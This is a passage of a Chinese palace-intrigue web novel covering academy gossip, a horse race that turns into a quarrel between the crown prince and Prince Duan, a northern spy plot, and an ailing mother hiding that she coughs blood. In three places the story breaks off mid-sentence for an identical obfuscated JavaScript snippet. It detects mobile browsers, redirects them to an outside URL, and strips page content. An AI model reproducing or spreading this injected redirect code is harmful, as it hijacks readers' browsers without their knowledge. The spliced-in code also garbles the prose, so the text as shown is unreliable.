姜云浑身冰凉，像是被人从头到脚浇了一盆冷水，先前的骄横与怒气，尽数化作了满心的委屈与不甘。她看着姜尚书冷硬的侧脸，嘴唇哆嗦着，终究是没再说出一个字，只能咬着牙，转身踉跄着朝外走去。 廊下的风带着秋日里的凉意，吹得她单薄的衣裙簌簌作响，她抬手抹了把眼角，却摸到一手冰凉的泪水。 宋韫...... 姜云攥紧了拳头，眼底翻涌着浓烈的恨意。 这笔账，她记下了。 － 崇文轩的日头正暖，透过花窗折射出细碎的光斑，落在汀竹摊开的《内训》书页上。她刚搁下毛笔，就听见不远处传来压低的议论声。 李娇璃捏着一方绣帕，声音里带着几分幸灾乐祸：“你们听说没？昨日太傅大人寿宴，姜家姐姐在齐姐姐府上的冬篱苑当众编排宋韫，转头就被姜尚书禁足了。” 齐湘玉闻言，轻轻瞟了一眼汀竹所在的放向，眉眼间故作疑惑：“我记得当时云儿妹妹与韫儿妹妹争执了两句，竟被姜尚书禁足了？” 李娇璃又道：“可不是吗，就连崇文轩的习修名额都给辞了呢！” 两人话音未落，旁边就传来一声轻嗤。宋婉抱着胳膊站在廊下，唇角勾起一抹讥诮的笑，声音不大，却刚好能让周围的人听清：“我家嫡女厉害着呢！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920906|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有家父与太子殿下撑腰，岂是旁人能随意置喙的？奉劝在坐的世家小姐一句，最好别轻易惹她，不然啊，等我嫡姐与太子成了婚，当了太子妃，指不定落得比姜云还要惨的下场呢。” 这话一出，周围霎时安静了几分，几道目光似有若无地瞟向宋韫。 李芷瑶气得脸色发白，连忙走到汀竹身边，压低声音替她不平：“她们这是颠倒黑白！明明是姜云先出言不逊，怎的倒成了你的不是？” 她本想直言为其辩解，自从上次为她说话，回府便被李娇璃告知了嫡母，不仅被罚跪一个时辰，就连姨娘与自己的月银都被缩减。 汀竹抬眸，淡淡扫了眼廊下那几人，手指轻轻翻开了一页，没说话。 而此时，一阵环佩叮当声传来。昭宁公主带着安乐公主正从轩外院玩耍兴尽而归。 她昨日虽不在太傅府，却因此事闹得沸沸扬扬，自然也是清楚了前因后果。听见方才那番话，她绣眉微蹙，语气带着几分冷意：“姜云落得这般下场，是她自己口无遮拦，竟敢当众顶撞太子哥哥。旁人若是安分守己，又怎会怕引火烧身？” 她虽瞧不上宋韫这般女子，却更厌恶有人借着宋韫的由头，暗戳戳地诋毁她的太子哥哥。 昭宁公主话音刚落，旁边就响起一道软糯的童音。安乐公主蹦蹦跳跳地朝汀竹跑了过去，小手拉住了她的衣袖，仰头笑嘻嘻道：“我觉得宋姐姐挺好的呀，还教我认了好多花呢！” 李娇璃和齐湘玉对视一眼，脸上露出不以为然的神色。李娇璃走上前，对着安乐公主屈膝行礼，语气带着几分说教的意味：“公主年纪小，不懂人心复杂。有些人不过是装出一副温婉良善的模样，内里的心思，可没那么简单。” 汀竹听到这番话，嘴角不经意间勾了勾。 这李娇璃不算蠢，还真让她说对了。 宋婉也跟着附和：“是啊公主，你可别被她的形象给骗了。” 汀竹抬眼看向围过来的几人，目光平静无波，只淡淡开口：“清者自清，何须多言？” 汀竹这句话轻飘飘的，却让廊下的议论声瞬间没了声。 李娇璃脸色青一阵白一阵，张了张嘴想反驳，却被昭宁公主冷冷扫了一眼，到了嘴边的话又咽了回去。昭宁公主素来高傲，最见不得旁人这般嚼舌根，尤其是借着太子的名头。 安乐公主却像是找到了撑腰的由头，仰着小脸，叉着腰道：“我看宋姐姐就是很好！你们就是嫉妒她嫁给太子哥哥！” 这话直白得叫人下不来台，齐湘玉的嘴角抽了抽，勉强挤出一抹笑：“公主说笑了，我们不过是随口闲谈罢了。” “闲谈也该有分寸。”昭宁公主淡淡开口，目光掠过宋婉，“宋二小姐方才的话，倒像是说得像真的一般，难不成是知晓什么旁人不知道的内情？” 宋婉脸上的讥诮僵住了，她不过是想借着宋韫的名头，夸大其词，好让这些贵女都记恨于她，哪里真有什么内情。 她讪讪笑道：“公主误会了，臣女不过是瞧着姜云的下场，随口提醒了一句罢了。” 昭宁公主没再搭理她，转而看向汀竹，语气依旧算不上热络，却少了几分疏离：“崇文轩是治学之地，不是说长道短的地方。往后再让本宫瞧见这般模样，休怪本宫不客气！” 说罢，她便牵起安乐公主的手，回了她们的课位。 李娇璃和齐湘玉对视一眼，没再多说什么，各自讪讪回了座位。宋婉看着众人回位置的背影，撇了撇嘴，也跺脚落了坐。 廊下霎时清净了下来，只剩汀竹和李芷瑶两人。 李芷瑶松了口气，拍着胸口道：“可算是散了，这些人真是......”她话说到一半，又连忙打住，凑近汀竹低声道，“姐姐你别往心里去，她们就是眼红于你得了太子殿下的青睐。” 汀竹垂眸看着书页上的墨迹，半晌才轻轻摇头：“无妨。” 她抬眼望向窗外，崇文轩庭院角落种着的几株翠竹，风一吹，竹叶发出阵阵轻响。 太子的青睐？ 可笑的东西，于真正的宋韫来说或许会是福，而于她汀竹来说终究是祸害。 53. 赛马 汀竹还从李芷瑶口中听闻，姜云幼时，姜夫人便因咳疾不治身亡，此后姜尚书便未再续弦。姜云尚有一兄长，名姜天。兄妹二人自幼失了慈母照拂，姜尚书又素来溺爱，久而久之，便养出了姜天纨绔放浪的性子，姜云也成了娇纵蛮横的模样。平日里姜天便爱轻薄调戏貌美女子，姜尚书招惹了不少是非麻烦，偏生姜尚书次次都为他遮掩周全；而姜云也是仗着姜尚书的过分宠爱，时常刁难那些出身不高的世家小姐。 此番姜云竟敢顶撞太子，姜尚书这般急着令她闭门思过，想来是怕太子追究发难，才着急这般处置，为她周全祸事。 听李芷瑶这般话，她倒觉得，这位姜尚书，倒是个极护着子女的父亲。 汀竹便低声道：“只是这份护犊之心失了分寸，纵得儿女目无尊卑、行事无忌，往后若是再这般不知收敛，怕不是闭门思过便能了结的祸事，到头来反倒要连累姜氏满门。” 李芷瑶闻言轻叹一声，撑着脸看了她片刻，又垂下了脑袋，眉眼间染着几分无奈：“话虽如此，可姜尚书也是可怜。听闻当年姜夫人去得急，临终前攥着他的手，再三嘱托要照看好一双儿女，他许是记着这份承诺，才事事都想着护着，反倒教他们立身之本。” 汀竹颔首，心中亦是了然。世间父母大抵都是这般，疼惜子女出自本心，可有人分不清疼爱与纵容的界限。 她低眸看着李芷瑶微蹙的眉头，愣神了一瞬。虽未曾听闻她在李府的处境，但依嫡女李娇璃与姜云差不多的性子，而她庶女的身份，怕在家中也是受尽了欺负。 正走神之际，女官便走近了轩中。 李芷瑶就回了自己的座位落坐。 － 京郊十里马场人声鼎沸，青石板铺就的观礼台旁，拴着数十匹神骏良驹，嘶鸣阵阵掀得风都带了几分烈气。 姜天一身宝蓝色劲装，腰束玉带，脚蹬皮靴，正拍着身旁一只雄健黑马的脖颈，和几个世家子弟笑闹。原是这几日京中无事又无趣，姜天就约了这帮平日里喝酒逛青楼的狐朋狗友，来跑马场赌赛输赢，赌注是西域新进的良马，更有黑市上新的美姬，众人摩拳擦掌，早把规矩定得明明白白。 几人正说着要抽签定赛道，忽然听得远处马蹄声急促，仗义开道，侍从肃立，众人转头一看，竟是太子箫琰与端王箫域的车架先后至此。 众人慌忙敛了嬉笑，躬身行礼，心里都犯了嘀咕：今日不过是世家子弟的私赛，怎会惊动两位煞神前来？后来才知，太子本是出宫赴城郊禅院之约，途径跑马场闻得喧闹，恰逢端王也因寻访名马在此落脚，二人既遇，便索性移步一同来观赛，各自带了亲卫，在主位观礼台分坐两侧。 太子一身乌色锦袍，外罩暗纹披风，神色沉稳，眉眼间自带威仪；端王则身穿云杉绿劲装，腰带玉环，面容俊朗却带着几分桀骜，落座一处，目光扫过太子身侧，语气带了几分针锋相对：“皇兄日理万机，竟也有这般闲心来看这世井赛马？莫不是朝中诸事，已清闲到无需皇兄费心了？” 太子指尖轻叩楠木扶手，淡淡抬眸回望，语气冷冽：“端王弟寻访名马，倒是雅兴。孤途径此地，恰逢盛事，驻足一看，倒也无妨。倒是皇弟近年来频繁接触外臣，私蓄良马，该不是忘了君臣本分，逾矩行事了？” 此言一出，观礼台上瞬间静了下来，空气都似凝住。端王猛地攥紧拳头，眸色骤沉：“皇兄这番话是何意？臣弟蓄马不过是喜好，结交外臣亦是谈经论道，皇兄莫要含沙射影，妄加揣测！” “揣测？”太子挑眉，正要再言，一旁的姜天忽然上前一步，躬身朗声道：“二位殿下息怒。端王殿下喜好名马，京中皆知绝非逾矩。” “只是太子殿下忧心朝堂，乃是为国为民，所言亦是正理。今日原是臣等私赛，惊扰了二位殿下，本就该请罪，何必因些许闲话伤了兄弟和气？” 姜天虽为姜尚书子，平日里放荡不羁，可他却不傻，也知晓姜家向来依附太子，却也不愿公然得罪手握兵权的端王，而这番话既帮太子立了理，又给了端王台阶，本是两全之策。 可端王本就对太子积怨颇深，见姜天帮腔，脸色更沉扯出一抹阴恻恻的笑，冷哼一声反问着：“姜公子倒是会说话，难不成凡事都要顺着皇兄的意思，才算合情合理？” 周遭的世家子弟与朝中僚属见状，个个如坐针毡。 太子是储君，未来的九五之尊，端王又手握部分兵权，两边皆是得罪不起的人物，谁也不愿卷入这场纷争。 当下便有几位老臣上前劝和，工部尚书拱手道：“二位殿下乃是手足至亲，何必为片言只语动气？今日天气甚好，赛马在即，不如赛事为乐，莫要伤了和气啊！” 另有一位世家公子附和：“正是正是，臣等已备良马，今日赛事全凭技痒，二位殿下若是有兴，亦可指点一二，切莫因小事动了肝火” 端王眼底戾气未散，却也知当着满场人面与太子撕破脸不妥，冷嗤一声别开眼，算是默许了劝和之语。 太子神色依旧冷漠，指尖停了叩击的动作，目光扫过场中诸人，最后落在姜天身上，眸底无波无澜，却叫姜天后背莫名沁出一层薄汗，忙躬身退回到世家子弟的队列里，不敢再轻易出头。 工部尚书见二人不再争执，暗暗松了口气，忙摆手示意赛事开场。早有侍从牵来备好的签筒，一众世家子弟挨个上前抽签，各自领了赛道，翻身上马，皆是一身劲装，意气风发，唯有姜天方才被端王怼了一句，心头难免憋闷，翻身上马时狠狠拍了下马背，那匹雄健黑马吃痛，扬蹄长嘶一声，惊得周遭侍从连忙退开。 一声清脆的鸣镝划破长空，赛马即刻开始。 十几匹马驹扬蹄疾奔，马蹄踏在赛道上，发出震天动地地声响，尘土飞扬间，骑手们俯身控马，彼此间追逐较劲，观礼台上顿时响起阵阵喝彩之声，方才凝滞的气氛总算散了大半。 端王本就爱马，此刻目光落在赛道上，眼底方才的戾气淡了几分，多了些痴迷，见一匹赤红的烈马摇摇领先，不由得抚掌称赞：“好一匹赤血良驹！这脚力，倒是难得的神骏。” 话音刚落，便有亲近端王的世家子弟凑上前，躬身笑道：“殿下好眼力，这匹赤血良驹乃是定国公府小公子的爱马，平日里宝贝得紧，今日为了赌注，才舍得牵来参赛。” 端王微微颔首，视线又扫过其余马匹，忽然瞥见太子身侧亲卫牵着一匹通体乌黑、唯有额前带点雪白的骏马，神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16927941|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骏非凡，比场中诸马更胜一筹，不由得挑眉：“皇兄这乌耀，乃父皇所赐，倒是世间罕有，今日既来了马场，何不令亲卫下场一试？也好让臣等开开眼界。” 太子抬眸看了眼那匹乌耀，那是父皇御赐之物，性子烈，寻常人难以驯服，唯有他的贴身亲卫能勉强控住，当下淡淡道：“此马性烈，且今日是诸子弟尽兴之局，孤的人下场，反倒失了趣味。” 端王去不肯罢休，嘴角勾起一抹桀骜的笑：“皇兄这话就见外了，赛马本就是论技不论身份，亲卫亦是高手，下场切磋，倒能添几分彩头。莫非皇兄是怕，亲卫不敌这些世家子弟，失了颜面？” 这话带着刻意挑衅，场中喝彩声又渐渐低了下去，众人目光都落在太子身上，大气不敢出。太子眸色微沉，周身寒意渐浓，指尖无意识地摩挲着楠木扶手，正要开口反驳。 一旁的姜天已快步抢出，再度躬身行礼，语气恭谨又不失圆融，没半分方才赌赛时的纨绔气：“端王殿下此言差矣，太子殿下绝非惧失颜面，实是体恤我辈子弟。” 他话音一顿，余光扫过太子凝肃的神色，又转向端王，姿态放得更谦：“今日本就是臣等闲时聚乐，比的是意气，图的是尽兴而已。太子殿下的亲卫乃是随驾护主的得力之人，身手武艺皆是顶尖，若下场参赛，我辈子弟纵使拼尽全力，多半也难匹强敌，反倒落得胜之不武、败之狼狈的境地，扫了今日的雅兴。” 说着，姜天又朝太子欠身，继而又道：“太子殿下体恤下属，更顾念我辈情分，不愿以亲卫之能夺子弟之乐，这份仁厚，臣等心中感念。再者，乌耀乃是陛下御赐的神驹，何等金贵，今日赛道尘土飞扬，若是惊了宝马，或是蹭伤分毫，皆是臣等罪过，殿下不愿让乌耀下场，亦是惜重陛下恩赐，绝非他故啊。” 周遭的世家子弟与僚属闻言，纷纷暗自点头，有机灵的连忙附和：“姜公子所言极是！今日原是我等自娱自乐，怎敢劳烦太子亲卫下场，倒是臣等思虑不周！” “乌耀是陛下御赐至宝，自然妥帖看护，赛道繁杂，确实不宜下场！” 端王脸上的桀骜之色淡了几分，他本就刻意挑衅为之，如今姜天把话说得滴水不漏，再揪着此事不放，倒显得自己小气计较。 他瞥了眼姜天，又看向太子，嘴角扯出一抹淡漠的弧度：“倒是本王思虑欠妥，既然如此，便依了诸位所言，转心看赛便是。” 太子眸色稍微缓，指尖停了动作，目光落在姜天身上，眸底依旧无波无澜，却少了几分先前的寒意，微微颔首，算是认可了他的话，没有再追究方才的话。 剑拔弩张的气氛霎时消解，场面彻底平缓了下来。 姜天暗暗松了口气，后背的薄汗又浸出几分，连忙躬身退回队列，连大气都不敢再喘。 方才那番话，已是他生平最谨言慎行的一回，几乎用尽了浑身的圆融机变。他心里门清，前几日姜云才刚触恼了太子，眼下若是让太子亲卫下场拔得头筹，得了这般“彩头”，今日又有端王和一众朝中大臣在场，难免以此事作文章。 他姜天今日怕是要落得和姜云一样闭门思过的下场，届时父亲那边，更是没法交代。 宸王府某处庭院凉亭内。 54. 北域 箫凛一身玄色锦袍坐在石桌前，正执茶盏轻啜，眉宇间带着几分淡远的沉静，周身清冽气场浑然天成。 石桌对面，谢玦一身常服，身姿挺拔，指尖敲着桌面棋盘上，眼底藏着掩不住的窃喜，语气轻快：“该你落子了，景珩。” 箫凛垂眸扫过棋盘，瞥了眼谢玦自以为稳赢、被围得密不透风的棋路，唇角勾起一抹淡嘲，冷哼一声，放下茶盏，修长手指捻起一枚莹润黑子，落子干脆利落，声线冷沉笃定：“你又输了。” 谢玦心头一惊，忙俯身凝目细看，目光扫过棋盘上错落的白子，方才的得意瞬间僵在脸上，眉头越蹙越紧。指尖点着几枚被困的死棋，神色懊悔，盯着那枚定乾坤的黑子，语气满是不甘：“怎会如此？我明明算好了所有出路，竟漏了这一处活眼！” 不等箫凛开口，廊下传来一阵极快的步履声，霎时便走到了他的身侧。 “殿下。”一名小厮躬身行礼，接着便将手中的一封密函递给了箫凛。 箫凛接过，翻开密函，看了一番，指尖缓缓摩挲着纸页上的字迹，待看完密函的始末，薄唇微启，随即便将密函递给了谢玦。 谢玦一看，扯着笑容：“太子与端王倒是好兴致，区区一场世家私赛，也能闹得剑拔弩张。今日马场之事，看着是兄弟口角，实则是二人积怨已久的发作。”看着密函上有关姜天亮度圆场的文字，不禁感叹，“不过这姜天倒是有点东西啊！两度出言打圆场，才算压下了二人争执。那姜天素日纨绔放浪，倒还有几分急智圆融。” “姜天虽纨绔，却也拎得清局势。”箫凛唇角勾起一抹浅淡的弧度，语气里带了几分了然，“姜家向来依附太子，昨日姜云刚顶撞过太子，姜尚书方将人禁足，姜天怎敢让事态再闹大？他那番话既给了太子台阶，又不得罪端王，更是护了太子亲卫与御赐宝马的颜面，看似投机，实则也是逼不得已。” “姜家如今可经不起再出半点纰漏了。” 谢玦端起茶盏，浅啜一口，温热的茶水润过喉间，眸色愈发明澈：“姜尚书护犊失度，养出一双骄纵儿女，前有姜云目无储君，后有姜天混迹纨绔，今日姜天虽是暂解了围，依我看，姜家这根基，早已因这兄妹二人动摇。依附太子也好，明哲保身也罢，若是往后再无分寸，迟早惹得太子弃之，引火烧身。” “堂兄所言极是。”箫凛深以为然。 谢玦语气沉了几分道：“太子与端王愈发光明正大的争锋，朝中大臣早已各有倾向，老臣们虽屡屡劝和，却也架不住二人身后扶持的人挑事。如今京中暗流涌动，世家子弟亦卷入其中，今日马场一闹，怕是往后朝堂之上，局势更难安稳了。” 箫凛眸光微凝：“太子与端王当众相争，朝中定会再起波澜，劳烦堂兄盯着些，看看那些依附二人的朝臣，近来可有异动。” 谢玦笑了笑，颔首应道：“那是自然。我早已令人盯着了，一有消息便即刻来禀。话音落罢，他身子微微前倾，压低了声音，谈及另一件事：“景珩，还有一件事。先前与京兆尹追查的那个女子之事，虽没眉目。我手下的人倒是无意查到了北域在京中的暗线。” 箫凛眉峰微蹙，眸色冷了几分：“北域的人？竟敢这般堂而皇之地潜入京城，所图不小。” “正是，”谢玦点头，语气凝重，“我查到这批暗线蛰伏京中已有半载，表面散入各行当，或为商铺掌柜，或为教夫走卒，实则互通声气，专刺探京中布防与世家动向。” 他手指重重叩了叩棋盘边缘，眼底褪去方才奕棋的轻快，满是沉凝：“更棘手的是，他们竟与城南一处废宅往来甚密，昨夜我派人乔装探查，虽没摸到核心，却截下一封密信，字迹加密无从辨认，只解出‘秋汛’‘粮道’四字。” “北域向来缺粮，怕不是要借着秋汛水势，动漕运的主意。” 箫凛指尖抵着下颌，眸色沉沉，沉默片刻，声线冷得无半分温度：“漕运是京中命脉，太子与端王相争正酣，朝中无暇旁顾，他们倒是会挑时机。” 他抬眸看向谢玦，眉峰紧蹙：“你派去的人可留了活口？能否顺着废宅这条线，摸清楚暗线总舵与接头暗号？还有姜家近日动向，也一并盯紧，姜云顶撞太子，姜天急着圆场，姜尚书心思难测，别叫北域钻了世家的空子。” 谢玦神色一凛，收起了漫不经心，应道：“放心，留了两个活口，正在严加审讯，只是北域暗探骨头硬，一时半刻难撬开嘴。废宅周遭已布了暗哨，只等他们接头人露面。” “姜家那边也加了人手，有异动会第一时间来报。” 话音刚落，远处忽然传来一阵隐约的马蹄声，由远极近，带着几分急促，打破了庭院的静谧。小厮再度快步而来，神色比先前更急，躬身禀报道：“殿下，城西废宅那边出事了，咱们的暗哨传来消息，方才有人纵火烧了废宅，里头的痕迹全被烧了，那两个活口......也不见了踪影。” 箫凛闻言，指节骤然收紧，骨节泛白，唇角勾起一抹冷嘲，眼底翻涌着寒芒：“倒是手脚快。看来北域在京中，不止这一条暗线。” 谢玦脸色也是一变，方才的凝重转为惊怒：“是我大意了，竟没料到他们会这般决绝，宁可自毁据点，也不肯留半点把柄！”他顿了顿，看向箫凛，语气带着几分急切，“如今线索断了，咱们下一步该如何？” 箫凛端起微凉的茶盏，仰头饮尽，将空盏重重置于石桌之上，声响清脆，划破沉寂，语气笃定而果决：“线索断了，便再找。传令下去，封锁城南所有出口，严查近日行迹可疑之人；另外，盯紧漕运司的官吏，凡是与陌生之人往来者，一律记下；太子与端王那边，也别漏了，他们二人之争，最容易被外敌利用，若发现有北域之人接触任何一方，即刻来报。” “明白。”谢玦应声，起身时身姿愈发挺拔，眼底再无半分漫不经心，只剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931505|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉稳干练，“我这就去安排，定不会让北域之人在京中肆意妄为。” 箫凛颔首，目送谢玦快步离去，独自坐在石桌前。 秋风卷着落叶飘至庭院，卷起阶前半枯的树叶，打着旋儿落在箫凛脚步，他垂眸瞥了一眼，手指无意识摩挲着大拇指上的玉扳指，方才奕棋时的淡静褪去几分，眉峰间凝着化不开的沉郁。 方才谢玦走得急，连棋盘上的残子都未收拾，白子困死，黑子踞中，恰如眼下京中局势。 太子与端王明争暗斗，是为内困，北域暗线潜伏窥伺，是为外忧，二者缠结，稍有不慎便是满盘皆输。 不多时，一道青灰身影悄无声息落在廊下，屈膝行礼，声线压得极低：“殿下。” 是谢玦身边最得力的暗卫，唤作尤鹰。 箫凛抬眸，语气冷平：“何事？” “世子命属下回禀，城南封锁已毕，城门守军奉旨严查可疑人等，只是那废宅火势热烈，灰烬里只寻得半块刻着北域鹰头纹的木牌，别无他物。另外，漕运司那边，查到主事陆大人昨日傍晚见过一个陌生客商，那人身着南疆布衫，却说着北域口音，二人在茶馆谈了一个时辰，陆大人离店时神色慌张，还塞了一袋银两给那人。” “南疆布衫，北域口音，倒是会掩人耳目。陆仁主管漕运粮船调度，手握漕运要道关卡文书，他若反水，秋汛里漕运便是门户大开。” 尤鹰垂首躬身，语气愈发恭谨：“属下已派人盯住陆大人府邸，他自昨日归府后便闭门不出，府中下人今日一早递出两封书信，一封送往太子府，一封送往端王府侧院，皆被属下截下，信中字迹潦草，只言‘要事相商，求庇佑’，未提详情。” “太子府？端王府？”箫凛唇角勾起一抹冷冽弧度，眼底满是洞察，“他倒是打得好算盘，两头攀附，想借着储位之争寻一条退路。只可惜他忘了，北域要的是漕运粮道，太子与端王要的是朝堂权柄，他这般首鼠两端，到头来只会成了弃子。” 他抬眸看向尤鹰，眉峰紧蹙，语气笃定果决：“你即刻回禀堂兄，让他暂时莫惊动陆仁，留着他，方能钓出背后串联之人。另再将细作之事悄悄透露给京兆尹，借他之口传入太傅耳中。北域暗线既然与他接触，定然还会有后续动作，盯紧他府上往来之人，尤其是夜间出入的信使，务必截下他们的往来密函。” “另外，将那半块鹰头纹木牌取来，北域各部族纹章各有不同，鹰头纹路是北域主站的飞鹰部，这群人素来狠戾决绝，先前纵火烧废宅、截走活口，定是飞鹰部的手笔。”箫凛垂眸看着脚边的落叶，声响沉闷，“飞鹰部主帅拓跋连烈野心勃勃，多年来一直觊觎中原漕运，此番潜入京城，绝不止谋粮这么简单，怕是想借着秋汛搅乱京中局势，趁机南下。” 尤鹰应声：“属下遵命，这就取木牌，再传信与世子。”说罢身形一晃，青灰身影掠出了廊下，转瞬便消失于庭院。 55. 吐血 从崇文轩一回到将军府，汀竹脚步未歇便先往宋夫人的院落去了。 入内时宋夫人正倚着软塌翻闲书，气日比往日好了些，汀竹上前轻声问安，又细问了膳食与汤药情况。 宋夫人见是她来，眉眼间漾开几分暖意，放下手中书卷，抬手示意她在身侧锦凳上落座，声音轻缓：“倒是比前几日松快些了，按着你嘱咐锁秋炖的药膳调养着，感觉身体大好，似没病似的。” 汀竹闻言心头一松，语气柔缓却藏着谨慎：“母亲能好转便是万幸，锁秋每日送来的药膳，母亲可要日日温着吃，切不可断，汤药也得按着时辰服，切不能贪快增减剂量。”她抬眸打量宋夫人面色，虽褪去了往日的萎顿，眼底仍有浅淡清影，想来余毒未清，只是未再侵蚀肌理罢了。 宋夫人浅浅颔首，抬手拢了拢衣襟，目光落在汀竹略带倦色的眉眼上，温声道：“这些时日倒是辛苦你了，既要在崇文轩习修，又要为我的身子奔波，连府里的琐事都要替我留心，仔细累着自己。” 汀竹摇头，抚摸着宋夫人的手，浅浅笑着：“母亲说的哪里话，母亲健康顺遂，才是最要紧的事，女儿多操劳些算什么，谈不上辛苦。” 宋夫人望着她眼底下淡淡的青黑，指尖轻轻覆盖在她的眉骨上，语气里满是疼惜，又带着几分不容置喙的温和：“傻孩子，崇文轩的课业本就繁重，日日来回奔波，夜里还有为府中这些腌臜事费神，瞧这眉眼间的倦意，遮都遮不住。快别在我这守着了，早些回暖居阁歇着去，莫要耽误明日的课业。” 汀竹还想多叮嘱几句药膳的分寸，话到嘴边，见宋夫人眼底满是笃定的疼惜，便压了回去，轻轻点头：“女儿听母亲的。只是母亲夜里若有半点不适，或是想吃些什么，务必遣人即刻唤我，莫要忍着。” “知道了，我身边有梓盼梓溪盯着，断不会委屈自己。”宋夫人拍了拍她的手背，笑意温和，“你且安心回去，好好睡一觉。” 汀竹躬身告退，带着锁秋转身离去，锦帘轻落，隔绝了外间的声响。 宋夫人望着空荡的门口，方才强撑的暖意缓缓褪去，胸口忽然涌上一阵尖锐的闷痛，她脸色骤白，忙抬手捂住唇瓣，喉间一阵腥甜翻涌，再也压抑不住，剧烈地咳嗽起来。 梓盼梓溪正立在一旁收拾书卷，见状脸色大变，惊呼着扑上前：“夫人！你怎么了？” 话音未落，宋夫人呕出一口鲜红的血，溅在身前月白锦褥上，点点斑驳刺得人眼晕。梓盼手一抖，手里的书卷哗啦散落一地，梓溪更是吓得腿软，扶住宋夫人的胳膊都在发抖，声音带着哭腔：“夫人！怎么会咳血？这可如何是好？奴婢这就去请大夫，再去唤小姐回来！” 说着便要转身往外跑，宋夫人却猛地攥住她的手腕，指尖冰凉，力气大得惊人，她气息急促，脸色惨白如纸，唇上还沾着未干的血渍，声音虚弱却带着不容置喙的坚定：“别去……不许告诉小姐。” 梓盼急得眼眶通红，眼泪直掉：“夫人，你都咳血了！小姐若知晓，必定要守着您，哪能放心回暖居阁歇息？况且这病势耽误不得，得赶紧请大夫诊治啊！” “大夫……来了也没用”宋夫人喘着气，胸口的闷痛稍缓，却依旧虚弱不堪，她缓缓松开梓溪的手，抬手拭去唇上血痕，眼底满是疼惜，“清禾连日里操心劳神，好不容易能歇口气，我怎能再去分她的心、扰她的眠？” 梓溪哽咽着，眼泪砸在衣襟上：“可你的身子要紧啊，若是瞒着小姐，往后病情加重可怎么办？” 宋夫人心底一阵涩然，眼底的疼惜里翻涌着无尽酸楚与决绝。她何尝不知自己早已油尽灯枯，再无回天之力？她心里明镜似的，清禾自坠崖归来，唤她第一声“母亲”开始，她便知清禾全然换了个人。 虽猜不透她的心思与目的，可这些日子里，她的所作所为，无一不是为自己着想。她中毒多年，早便知此毒无药可解，更晓得她日日让锁秋送来的药膳，全是为了替她驱毒救命。可她体内的毒早已蚀骨伤本，已是药石罔效，这几日面上瞧着气色稍佳，不过是强撑着伪装，只想让她不必再为自己耗费心神罢了。 她眼下在这深宅大院里尚未站稳脚跟，前路漫漫，满是坎坷，怎能让她为自己这将死之人分心挂怀？她半生操劳，所求的不过是清禾一世安稳顺遂。如今，她也该去陪自己最疼爱的那个孩儿了，纵使与眼前这女儿母女缘分不过两月，她却早已打心底里将她当作亲生女儿一般疼惜。此刻她唯有一心念着，护她片刻清净安宁，纵是欺瞒，也断不能让自己拖累了她，叫她乱了方寸，误了前行的路。 宋夫人轻轻摇头，气息微弱得发颤：“我自己的身子，我心里有数，早已伤了根本，本就没有痊愈的指望。此事就当从未发生，不许声张，更万万不能让清禾知晓，免得她忧心挂怀，乱了心神。” 她望着锦褥上的血渍，眸光沉了沉，又道：“快把这褥子换了，莫要留下痕迹，仔细被人瞧了去，徒生事端。” 梓盼梓溪对视一眼，皆是满心焦灼，却不敢违逆宋夫人的意思，只得含泪点头，一人急忙去取干净褥子，一人小心扶着宋夫人靠在软枕上，抬手轻轻顺着她的后背，心头揪得生疼，却只能将到了嘴边的话尽数咽了回去。 - 暖居阁灯火明亮，汀竹刚坐下抿了口热茶，便抬眼看向立在廊下的胡舟，语气沉了几分：“昨日托你查那香粉的经手之人，可有眉目？” 胡舟跨步进来，低头回话，声音压得极低，怕泄露了风声：“小姐，查清楚了。那香粉是将军托望京街上一名脂粉铺子调配的，进府的香粉经过府里管事点验，中间经手过一个小丫鬟，是小姐院中的杏儿。” “小的顺着杏儿的踪迹查，发现她平日将小姐的踪迹禀明于周姨娘身边的梨画。” “杏儿？”汀竹听着这话，眉头拧着幽深，“此话当真？” 胡舟笃定道：“千真万确。小姐可要将杏儿带过来问寻” 汀竹摆摆手：“她的底线，我早已知晓。她将我的行踪禀明梨画，本就是我默许的将计就计。只是我倒未曾想到，这香粉一事的经手人，竟是她。” 这般想来，既是经手过杏儿，那这香粉里下毒的幕后黑手便是周姨娘。 可真是好毒的心思。 “小姐，如此说来，是周姨娘？”锁秋闻言便说出了自己的猜想。 汀竹轻“嗯”了一声，眸中正思考着什么。 胡舟听得一头雾水，忍不住便问：“周姨娘？” 锁秋一时不知该如何作答，转眼看向了汀竹。汀竹并未说明具实情，只淡声道：“做好你分内的事即可。” 虽然胡舟目前可为她做事，她却知他会将她所做的事一五一十禀明宋老夫人。 “小的明白。”胡舟扯了一抹极淡的笑意 